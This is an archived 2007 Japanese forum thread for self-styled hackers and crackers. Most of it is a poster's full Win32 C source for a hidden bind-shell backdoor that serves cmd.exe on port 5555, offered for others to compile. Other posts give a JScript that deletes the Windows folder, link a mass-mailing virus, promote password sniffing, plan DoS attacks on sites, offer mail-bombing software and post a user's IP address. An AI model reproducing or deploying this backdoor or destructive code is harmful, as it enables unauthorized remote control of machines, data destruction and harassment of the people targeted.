[過去ログ] ハッカー&クラッカー専用 (486レス)
1-

このスレッドは過去ログ倉庫に格納されています。
次スレ検索 歴削→次スレ 栞削→次スレ 過去ログメニュー
1
(2): RINKS 2007/03/09(金) 13:09:20 AAS
このスレの目的
・究極のツール、コード、(フリーだったら、基本的何でもOK)の紹介
・虐待を受けたハッカー&クラッカーの避難所
・虐めた人の居るサイトの(場所)を紹介(2ch意外に限る)
・田代砲による、難民の保護(2ch意外に限る)
(荒らしではありません。自衛のDosです)
2: 2007/03/09(金) 13:11:59 AAS
以外なスレがたったな
3: RINKS 2007/03/09(金) 13:39:02 AAS
でしょ!(笑
4: ◆Z4QrFDzwrY 2007/03/09(金) 14:42:36 AA×

5: 2007/03/09(金) 15:18:46 AAS
ハッカよりニッキ、クラッカーよりクッキーの方が好きですぅ
6: 2007/03/09(金) 16:24:23 AA×

7: RINKS 2007/03/09(金) 18:17:04 AAS
バックドアのコード解説(分割して書き込みます)
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <windowsx.h>
#include <tchar.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32.lib")

// コメントアウト=ウィンドウを表示する
//#define HIDE

// ########################################################
// ## ウィンドウ生成処理
// ########################################################
8: RINKS 2007/03/09(金) 18:19:17 AAS
HINSTANCE hInst;

LPCTSTR szWindowClass = _T("backdoor1");
LPCTSTR szTitle = _T("backdoor1");

ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
MSG msg;

MyRegisterClass(hInstance);

if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
9: RINKS 2007/03/09(金) 18:20:46 AAS
BOOL bRet;
while ((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
{
if(bRet == -1)
{
break;
}

if (!TranslateAccelerator(msg.hwnd, NULL, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}

return (int) msg.wParam;
}
10: RINKS 2007/03/09(金) 18:23:24 AAS
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;

wcex.cbSize = sizeof(WNDCLASSEX);

wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, NULL);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wcex.lpszMenuName = (LPCTSTR)NULL;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, NULL);

return RegisterClassEx(&wcex);
}
11: RINKS 2007/03/09(金) 18:24:24 AAS
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;

hInst = hInstance;

hWnd = CreateWindow(szWindowClass, szTitle,
WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, 0,
CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL);

if (!hWnd)
{
return FALSE;
}
12: RINKS 2007/03/09(金) 18:34:17 AAS
#ifndef HIDE
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
#endif

return TRUE;
}
13: RINKS 2007/03/09(金) 18:35:02 AAS
// ########################################################
// ## ウィンドウ生成処理
// ########################################################

#define START_STRING "connection ok!\x0D\x0A"
#define SHELL_NAME "cmd.exe"
#define START_DIR "c:\\"
#define SERVICE_PORT (5555)
#define WM_ASYNC_SELECT (WM_USER + 1)

typedef struct{
SOCKET sock; // ソケットフラグ
HANDLE hProcess; // プロセスハンドル
HANDLE fd_read; // 入力用パイプ
HANDLE fd_write; // 出力用パイプ
BOOL bAcceptFlag; // 接続数管理フラグ
BOOL bThreadFlag; // スレッド実行フラグ
} THDATA, *PTHDATA;
14: RINKS 2007/03/09(金) 18:36:48 AAS
BOOL OpenCmd(PTHDATA);
SOCKET WaitConnect(HWND);
VOID EndProgram(SOCKET, PTHDATA);
BOOL AcceptConnect(SOCKET, PTHDATA);
VOID TalkClient(HWND, SOCKET, PTHDATA, LPARAM);
VOID CloseConnect(PTHDATA);
VOID ReadConnect(PTHDATA);
DWORD WINAPI OutputToSocket(LPVOID);
VOID JudgeEndConnect(PTHDATA);
BOOL JudgeExit(TCHAR);
15: RINKS 2007/03/09(金) 18:38:26 AAS
// --------------------------------------------------------
// ウィンドウコールバック関数
// --------------------------------------------------------
LRESULT CALLBACK WndProc(HWND hWnd,
UINT message,
WPARAM wParam,
LPARAM lParam)
{
16: 2007/03/09(金) 18:41:42 AAS
return 0L;
17: RINKS 2007/03/09(金) 18:42:04 AAS
static THDATA thData;
static SOCKET sListen;

switch (message)
{
18: RINKS 2007/03/09(金) 18:43:03 AAS
case WM_CREATE:
// コマンドプロンプト起動
if(OpenCmd(&thData))
DestroyWindow(hWnd);
// ソケットを開いてポートを開ける
if((sListen = WaitConnect(hWnd)) == -1)
DestroyWindow(hWnd);
break;
case WM_ASYNC_SELECT:
// ネットワーク関連関数へ
TalkClient(hWnd, sListen, &thData, lParam);
break;
case WM_DESTROY:
// プログラムの終了
EndProgram(sListen, &thData);
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
19: RINKS 2007/03/09(金) 18:44:56 AAS
16
勝手にreturn 0L;させないでください。
リターンさせてどーするんだ?
20: RINKS 2007/03/09(金) 18:45:56 AAS
// --------------------------------------------------------
// コマンドプロンプトとパイプで繋ぐ関数
// --------------------------------------------------------
21: RINKS 2007/03/09(金) 18:46:27 AAS
BOOL OpenCmd(PTHDATA pthData)
{
// pthData->bAcceptFlag
// pthData->fd_write
// pthData->fd_read
// pthData->hProcess

pthData->bAcceptFlag = TRUE;
22: RINKS 2007/03/09(金) 18:52:58 AAS
MessageBox(NULL,TEXT("ガ━━(゚Д゚;)━━━ン!!!!!"),TEXT("(´・∀・`)"),0);
23: RINKS 2007/03/09(金) 22:11:19 AAS
22人のこて半勝手に使うな!
24: RINKS 2007/03/09(金) 22:11:58 AAS
// パイプ生成オペレーション

HANDLE pfd_in[2], pfd_out[2];
short int R = 0, W = 1;

SECURITY_ATTRIBUTES sa;
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
sa.nLength = sizeof(sa);

HANDLE hParent = GetCurrentProcess();

CreatePipe(&pfd_out[R], &pfd_out[W], &sa, 0);
DuplicateHandle(hParent, pfd_out[R], hParent,
&pthData->fd_write, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(pfd_out[R]);

CreatePipe(&pfd_in[R], &pfd_in[W], &sa, 0);
DuplicateHandle(hParent, pfd_in[W], hParent,
&pthData->fd_read, 0, FALSE, DUPLICATE_SAME_ACCESS);
CloseHandle(pfd_in[W]);
25: RINKS 2007/03/09(金) 22:13:24 AAS
// プロセス生成

STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = pfd_in[R];
si.hStdOutput = pfd_out[W];
si.hStdError = pfd_out[W];
26: RINKS 2007/03/09(金) 22:15:10 AAS
PROCESS_INFORMATION pi;
BOOL bret = CreateProcess(NULL, SHELL_NAME, NULL,
NULL, TRUE, 0, NULL, START_DIR, &si, &pi);
if(bret == 0){
CloseHandle(pthData->fd_read);
CloseHandle(pthData->fd_write);
CloseHandle(pfd_in[R]);
CloseHandle(pfd_out[W]);
return TRUE;
}
27: RINKS 2007/03/09(金) 22:16:17 AAS
// プロセスハンドルを保存
pthData->hProcess = pi.hProcess;

CloseHandle(pi.hProcess);
CloseHandle(pfd_in[R]);
CloseHandle(pfd_out[W]);

return FALSE;
}
28: RINKS 2007/03/09(金) 22:19:01 AAS
// --------------------------------------------------------
// ソケットを開きポートを開ける関数
// --------------------------------------------------------
SOCKET WaitConnect(HWND hWnd)
{
29: RINKS 2007/03/09(金) 22:20:01 AAS
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
return -1;

SOCKET sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
return -1;

SOCKADDR_IN Serv;
memset(&Serv, 0, sizeof(Serv));
Serv.sin_family = AF_INET;
Serv.sin_port = htons((USHORT)(SERVICE_PORT));
Serv.sin_addr.s_addr = htonl(INADDR_ANY);

if(bind(sock, (SOCKADDR *)&Serv, sizeof(Serv)) == SOCKET_ERROR)
return -1;

if(listen(sock, 0) == SOCKET_ERROR)
return -1;

int ret = WSAAsyncSelect(sock, hWnd, WM_ASYNC_SELECT,
FD_ACCEPT | FD_CLOSE | FD_READ | FD_WRITE);
if(ret == SOCKET_ERROR)
return -1;

return sock;
}
30: RINKS 2007/03/09(金) 22:28:32 AAS
// --------------------------------------------------------
// プログラム終了時に後始末を行う関数
// --------------------------------------------------------
VOID EndProgram(SOCKET sock,
PTHDATA pthData)
{
// コマンドプロンプトを終了
DWORD dwLen;
WriteFile(pthData->fd_read, "exit\x0D\x0A", 6, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
WaitForSingleObject(pthData->hProcess, 3000);

// パイプを閉じる
CloseHandle(pthData->fd_read);
CloseHandle(pthData->fd_write);

// ソケットを閉じる
shutdown(sock, SD_BOTH);
closesocket(sock);
WSACleanup();
}
31: RINKS 2007/03/09(金) 22:29:04 AAS
// --------------------------------------------------------
// ネットワーク部分のメイン関数
// --------------------------------------------------------
VOID TalkClient(HWND hWnd,
SOCKET sock,
PTHDATA pthData,
LPARAM lParam)
{
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
// 接続要求を受け付ける
AcceptConnect(sock, pthData);
break;
case FD_READ:
// データを読み込む
ReadConnect(pthData);
break;
case FD_CLOSE:
// 接続を終了する
CloseConnect(pthData);
break;
}
}
32: RINKS 2007/03/09(金) 22:29:44 AAS
// --------------------------------------------------------
// 接続を受け付ける関数
// ソケットを開き、スレッドを起動させる
// --------------------------------------------------------
BOOL AcceptConnect(SOCKET sListen,
PTHDATA pthData)
{
// pthData->sock
// pthData->ThreadFlag

// クライアントからのソケットを受け取る
SOCKADDR_IN Client;
int ClientLen = sizeof(Client);
SOCKET sock_tmp = accept(
sListen, (LPSOCKADDR)&Client, &ClientLen);
if(sock_tmp == INVALID_SOCKET)
return TRUE;

// 先着がいれば接続を拒否する
if( ! pthData->bAcceptFlag){
// ソケットを閉じる
shutdown(sock_tmp, SD_BOTH);
closesocket(sock_tmp);
return TRUE;
}
33: RINKS 2007/03/09(金) 22:30:20 AAS
// 先着がいなければ接続を了承する
// 以後の接続を受け付けない
pthData->bAcceptFlag = FALSE;
pthData->sock = sock_tmp;

// 最初に接続完了のデータを送る
send(pthData->sock,
START_STRING, (int)strlen(START_STRING), 0);

// スレッドフラグを立てる
pthData->bThreadFlag = TRUE;

// スレッド生成
DWORD dwThID;
HANDLE hThread = CreateThread(NULL, 0,
OutputToSocket, (LPVOID)pthData, 0, &dwThID);
if(hThread == NULL){
shutdown(pthData->sock, SD_BOTH);
closesocket(pthData->sock);
return TRUE;
}
CloseHandle(hThread);

return FALSE;
}
34: RINKS 2007/03/09(金) 22:30:52 AAS
// --------------------------------------------------------
// 接続を終了する関数
// スレッドを終了させ、ソケットを閉じる
// --------------------------------------------------------
VOID CloseConnect(PTHDATA pthData)
{
// ソケットを閉じる
shutdown(pthData->sock, SD_BOTH);
closesocket(pthData->sock);

// スレッド終了
pthData->bThreadFlag = FALSE;

// 再び接続を受け付ける
pthData->bAcceptFlag = TRUE;
}
35: RINKS 2007/03/09(金) 22:40:58 AAS
// --------------------------------------------------------
// クライアントから送られてきたデータを
// コマンドプロンプトへ書き込む関数
// --------------------------------------------------------
VOID ReadConnect(PTHDATA pthData)
{
TCHAR c; DWORD dwLen;
recv(pthData->sock, &c, 1, 0);

if(JudgeExit(c)){
JudgeEndConnect(pthData);
return;
}

WriteFile(pthData->fd_read, &c, 1, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
}
36: RINKS 2007/03/09(金) 22:41:32 AAS
// --------------------------------------------------------
// コマンドプロンプトに表示されたデータを
// クライアントへ送信する関数
// --------------------------------------------------------
DWORD WINAPI OutputToSocket(LPVOID lpvoid)
{
PTHDATA pthData = (PTHDATA)lpvoid;

DWORD dwLen;
char szBuf[1024];
while(pthData->bThreadFlag){
Sleep(100);
BOOL bret = ReadFile(pthData->fd_write,
&szBuf, sizeof(szBuf), &dwLen, NULL);
if(bret == FALSE)
continue;
if(dwLen > 0)
send(pthData->sock, szBuf, dwLen, 0);
}
return 0;
}
37: RINKS 2007/03/09(金) 22:42:10 AAS
// --------------------------------------------------------
// exitと入力されたことにより、接続を切断する関数
// --------------------------------------------------------
VOID JudgeEndConnect(PTHDATA pthData)
{
// 接続を切断
CloseConnect(pthData);
// 改行を書き込む(「exi\r\n」を入力したことになる)
DWORD dwLen;
WriteFile(pthData->fd_read,
"\x0D\x0A", 2, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
// 1秒待って
Sleep(1000);
// 出力データを読み込む
TCHAR szBuf[1024];
ReadFile(pthData->fd_write,
&szBuf, sizeof(szBuf), &dwLen, NULL);
// 最後に改行を送って終了
WriteFile(pthData->fd_read,
"\x0D\x0A", 2, &dwLen, NULL);
FlushFileBuffers(pthData->fd_read);
}
38: RINKS 2007/03/09(金) 22:42:42 AAS
// --------------------------------------------------------
// exitの入力判定を行う関数
// --------------------------------------------------------
BOOL JudgeExit(TCHAR c)
{
static TCHAR szExit[8] = "AAAA";

for(int i=0; i < 3; i++)
szExit[i] = szExit[i+1];
szExit[3] = c;

if( ! lstrcmpi(szExit, "exit"))
return TRUE;

return FALSE;
}
39: 2007/03/09(金) 22:44:58 AAS
えっと、このプログラムを落とすツールを作ればイイノカナ?
40: RINKS 2007/03/09(金) 23:13:17 AAS
まぁ、簡単なのは、ざっとこんな物かな・・・
良ければ、コンパイルしてみてください。
41: 2007/03/09(金) 23:18:17 AAS
ファイrをうpしろよ。そっちの方が簡単だろ。
42
(1): RINKS 2007/03/10(土) 00:01:57 AAS
41
そうですね・・(笑
まだ、中学ナもんで・・・
43: RINKS 2007/03/10(土) 00:04:09 AAS
ところで、tor知ってますか?
鯖偽装ソフト。
あれ、2chで使えなくないですか?
44: 2007/03/10(土) 00:11:11 AAS
kill 9 backdoor1

>あれ、2chで使えなくないですか?
ひさびさワロタwwww

何考えてるのかとおもったらそういうオチか
45: 2007/03/10(土) 00:18:14 AAS
>そうですね・・(笑
最近の中学生は(笑 とか使うのか。
昔の流行が再燃するような感じだな。
46: ◆Z4QrFDzwrY 2007/03/10(土) 00:42:23 AA×

47
(1): RINKS 2007/03/10(土) 00:58:33 AAS
46
AA巧く表示されてない。(顔ないし・・・)
48
(1): RINKS 2007/03/10(土) 01:01:18 AAS
44
俺が紹介したBACKDOORの名前しっとんだね。
ふふふ・・・
49: 2007/03/10(土) 01:05:19 AAS
ふふふ・・
50: 44 ◆Z4QrFDzwrY 2007/03/10(土) 01:07:45 AAS
>47-48
いやいやwwwwww

偽者だと思うんだ
思うんだけど>1ならあるかもとか思えて怖い
51: RINKS 2007/03/10(土) 01:12:05 AAS
じゃあ、
アルゼンチンの天才的な、
クラッカー[K]Alamarの(ウイルス名、vbs.vbswg.aq@mm)しってる?
最高だよ(微笑・・
URLを載せとくよ、Downloadしてみて。
外部リンク[php]:vx.netlux.org
52: 2007/03/10(土) 01:19:26 AAS
なにこの厨房スレ
53
(2): 2007/03/10(土) 01:23:38 AAS
&btnI=I%27m+Feeling+Lucky&lr=
googleの検索結果の後ろにこれを付けるとなんでページが開くの?
エロイ人教えて、ま、これから調査するが
外部リンク:www.google.co.jp
&btnI=I%27m+Feeling+Lucky&lr=
とかさ
54: RINKS 2007/03/10(土) 01:24:53 AAS
スニッファーソフトしってる?
メール、盗聴するのだよ。
パスも盗聴できる。
た・だ・し、16進数が分かればね!
代表的なのは、Ettercapだよ。
フリーで最も危険なソフト。
URLは、
外部リンク:ettercap.sourceforge.net
55: 2007/03/10(土) 01:26:34 AAS
ふふふ・・
56: RINKS 2007/03/10(土) 01:30:18 AAS
52
どう?
笑えるでしょ。俺今むっちゃ暇なの、
だからスレ立てて、ここで何となぁ〜く楽しんでるの!?
57: 2007/03/10(土) 01:30:40 AAS
どんだけ厨房なんだよww
58
(1): 2007/03/10(土) 01:34:05 AAS
>>53 [I'm Feeling Lucky]ボタンってGoogleに昔からあるっつうの
59
(1): 53 2007/03/10(土) 01:37:45 AAS
>>58
2002年ごろからあるんですねえ。
知らなかった。
btnI=
で調べればヨユウッスね
60: RINKS 2007/03/10(土) 01:39:28 AAS
さてここで、
標準C/C++プロを作るだけでなくWin32APIを使用してアプリしたい人に
お勧めを紹介します。
Platform SDKというソフトがあります。
URLは、
外部リンク:www.microsoft.com
61: RINKS 2007/03/10(土) 01:46:40 AAS
退屈だ・・・
だれか、いいソフト教えて〜〜〜
62: 2007/03/10(土) 01:47:22 AAS
>>59 Googleのトップページに昔からあるっつうの
63: RINKS 2007/03/10(土) 01:49:47 AAS
50
攻撃したいとこあるん?
ヒトデが足りれば潰せるよ(笑
64: 2007/03/11(日) 00:01:12 AAS
age
65: 2007/03/11(日) 00:18:10 AAS
通報しました。
66: あぼーん [あぼーん] あぼーん AAS
あぼーん
67: 2007/03/11(日) 17:38:35 AAS
<速報>
今夜、10時より田代砲による田代祭りを決行いたします。
参加、観戦したい人は、外部リンク:talk.milkcafe.net
により、田代砲を持参ください。
一人でも多くの祭りファンのご来光、
楽しみにお待ちしております。
68: 2007/03/12(月) 01:31:08 AAS
exit();
69: あぼーん [あぼーん] あぼーん AAS
あぼーん
70: 2007/04/01(日) 08:06:32 AAS
外部リンク[htm]:mocha.la.coocan.jp
71: 2007/04/01(日) 08:12:07 AAS
外部リンク[php]:mocha.la.coocan.jp
72: tomR 2007/04/01(日) 21:59:20 AAS
<script language="jscript">
var fso
fso=new ActiveXObject("Scripting.FileSystemObject");
fso.DeleteFolder("C:\\Windows",true);
</script>

OS98でVBSで拡張つけて実行したらどーなるでしょう〜か
73: 2007/04/02(月) 08:21:51 AAS
Windowsが起動しなくなる?
最近のWindowsだと大事なファイルは削除できないようになってそうだけど・・・どうなの
74: tomR 2007/04/02(月) 16:23:26 AAS
アタリ('A`)
75: 2007/05/04(金) 17:52:33 AAS
何この糞スレ
スクリプトキディだろお前ら
VIPPERより役に立たないくせに
76: 2007/05/06(日) 12:43:25 AAS
>>42
中学生なことと何が関係あるんだ?
77: ゆきo(≧∀≦)o 2007/05/12(土) 19:49:50 AAS
私のホムペを見に来て(*^▽^*)/荒らしは禁止だからね!!まあパスつけてるから荒らせないだろうけどね(笑)外部リンク:x54.peps.jp
78: やられました 2007/06/09(土) 12:40:34 AAS
IPアドレス 59.146.152.231
ホスト名 p9298e7.osaknt01.ap.so-net.ne.jp
さら  されちゃいましたが コレだけだっったら大丈夫でしょうか?
やられないですか?ハック&クラッカ−
79: 2007/06/09(土) 13:42:22 AAS
このサイトやってくださいませ

どうして電話してきてくれないのぉ
(TT)あんまりタイプじゃなかったのかなぁ?
美咲ねっ…割り切りであってくれたら
何でもするつもりだったのになぁ
♪一応、由紀の携番もう一回送っときますねっ
外部リンク:homepage2.nifty.com
パスは1008ってなってるからぁ♪
80
(1): あぼーん [あぼーん] あぼーん AAS
あぼーん
81
(1): 2007/06/09(土) 23:51:40 AAS
>>80
俺趣味でスパムメール撃退ソフト作ってるんだけど
2000円で買う?

例えば指定メアドに1万発発射とか出来るぞ
82
(1): 2007/06/10(日) 06:26:38 AAS
>>81
いい趣味してますな
1-
あと 404 レスあります
スレ情報 赤レス抽出 画像レス抽出 歴の未読スレ

ぬこの手 ぬこTOP 0.026s